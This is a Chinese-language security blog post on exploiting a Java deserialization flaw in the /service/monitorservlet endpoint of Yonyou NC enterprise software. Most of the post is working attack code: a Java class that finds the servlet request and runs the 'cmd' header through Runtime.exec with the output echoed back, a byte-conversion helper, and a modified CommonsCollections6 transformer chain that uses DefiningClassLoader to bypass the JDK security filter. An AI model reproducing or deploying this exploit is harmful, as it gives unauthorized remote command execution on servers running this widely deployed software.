用友NC 反序列化回显构造
用友nc 反序列化回显构造思路
漏洞原理
/service/monitorservlet
存在反序列化利用点,可以直接攻击
回显思路
网上大部分cc回显是将构造的回显类塞进TemplatesImpl
中,默认安装的用友nc开启了jdk security 过滤了TemplatesImpl
类,导致利用网上写好的cc回显是无法成功.
分析后可以发现org.mozilla.javascript.DefiningClassLoader
被加载进classpath,所以这里可以直接用defineClass+tomcat
回显payload:https://gist.github.com/fnmsd/4d9ed529ceb6c2a464f75c379dadd3a8
利用结果如下
Payload食用
- 编译dfs
做了一点修改,发现靶机会因为getWriter报错,添加了p.getWriter().close();
效果会好一些,手动关闭流
package com.osword.defineclass;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Scanner;
public class dfs {
static HashSet<Object> h;
static HttpServletRequest r;
static HttpServletResponse p;
public static void main(String[] args) {
System.out.println("fuck");
r = null;
p = null;
h =new HashSet<Object>();
F(Thread.currentThread(),0);
}
// public dfs(){
// System.out.println("fuck");
// r = null;
// p = null;
// h =new HashSet<Object>();
// F(Thread.currentThread(),0);
// }
private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}
h.add(obj);
return false;
}
private static void p(Object o, int depth){
if(depth > 52||(r !=null&& p !=null)){
return;
}
if(!i(o)){
if(r ==null&&HttpServletRequest.class.isAssignableFrom(o.getClass())){
r = (HttpServletRequest)o;
if(r.getHeader("cmd")==null) {
r = null;
}else{
try {
p = (HttpServletResponse) r.getClass().getMethod("getResponse").invoke(r);
} catch (Exception e) {
r = null;
}
}
}
if(r !=null&& p !=null){
try {
p.getWriter().println(new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
p.getWriter().flush();
p.getWriter().close();
}catch (Exception e){
}
return;
}
F(o,depth+1);
}
}
private static void F(Object start, int depth){
Class n=start.getClass();
do{
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);
if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}
}
}catch (Exception e){
}
}
}while(
(n = n.getSuperclass())!=null
);
}
}
- 将编译后的dfs 转为字节码
package com.osword.defineclass;
import java.io.*;
public class ClassLoaderMain {
public static void main(String[] args) throws Exception {
byte[] bs = getBytesByFile("/Users/osword/Desktop/rep/target/classes/com/osword/defineclass/dfs.class");
for (int i = 0; i < bs.length; i++) {
System.out.print(bs[i]+",");
}
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
- 字节码贴入CommonsCollections6中反射,形如如下调用
DefiningClassLoader.class.getDeclaredConstructor().newInstance(new Object[0]).defineClass("com.osword.defineclass.dfs",bs).getMethod("main").invoke(null);
修改cc6如下,替换transformers
构造
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{"com.osword.defineclass.dfs", bs}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
new ConstantTransformer(new HashSet())};
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!